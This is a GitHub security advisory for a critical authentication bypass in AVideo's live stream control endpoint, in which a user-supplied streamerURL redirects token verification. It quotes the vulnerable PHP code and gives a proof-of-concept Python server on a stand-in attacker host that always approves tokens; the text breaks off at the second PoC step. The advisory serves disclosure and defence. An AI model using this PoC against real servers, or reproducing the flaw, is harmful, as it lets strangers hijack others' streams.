GitHub Security Advisory: GHSA-9hv9-gvwm-95f2
Package: wwbn/avideo (COMPOSER)
Severity: CRITICAL (CVSS 9.4)
CWE: CWE-287: Improper Authentication
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo Allows Unauthenticated Live Stream Control via Token Verification URL Override in control.json.php

Details:
## Summary

The standalone live stream control endpoint at `plugin/Live/standAloneFiles/control.json.php` accepts a user-supplied `streamerURL` parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns `{"error": false}`, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence.

## Details

The vulnerability exists because the `streamerURL` parameter is accepted directly from user input with no validation:

**`plugin/Live/standAloneFiles/control.json.php:77-79`** — User input overrides server config:
```php
if (!empty($_REQUEST['streamerURL'])) {
    $streamerURL = $_REQUEST['streamerURL'];
}
```

**`plugin/Live/standAloneFiles/control.json.php:83-91`** — The user-controlled value is assigned to the request object:
```php
$obj->streamerURL = $streamerURL;
```

**`plugin/Live/standAloneFiles/control.json.php:115-126`** — Token verification is sent to the attacker-controlled URL:
```php
$verifyTokenURL = "{$obj->streamerURL}plugin/Live/verifyToken.json.php?token={$obj->token}";
// ...
$content = file_get_contents($verifyTokenURL, false, stream_context_create($arrContextOptions));
```

The legitimate `verifyToken.json.php` performs cryptographic token validation via `Live::decryptHash()` and checks token expiry (12-hour window). By redirecting verification to an attacker server, all of this is bypassed — the attacker's server simply responds with `{"error": false}`.

After authentication is bypassed, the attacker can execute any of the four supported commands (lines 150-186): `record_start`, `record_stop`, `drop_publisher`, and `is_recording`, which issue control commands to the local NGINX RTMP control module.

SSL verification is also explicitly disabled (lines 119-124), meaning the SSRF request will follow any attacker URL without certificate validation.

Notably, the developers were aware of this exact attack pattern and fixed it in the sibling file `standAloneFiles/saveDVR.json.php` on 2026-03-19 with an explicit comment: *"SECURITY: User-supplied webSiteRootURL is intentionally NOT accepted. Allowing it would enable SSRF."* The same fix was not applied to `control.json.php`.

## PoC

**Step 1:** Set up an attacker server that returns `{"error": false}` for all requests.

```bash
# Minimal Python server on attacker machine (attacker.example.com:8888)
python3 -c '
import http.server, json
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type","application/json")
        self.end_headers()
        self.wfile.write(json.dumps({"error": False}).encode())
    def log_message(self, *a): pass
http.server.HTTPServer(("0.0.0.0", 8888), H).serve_forever()
'
```

**Step 2:** Drop a victim's live stream (kill their bro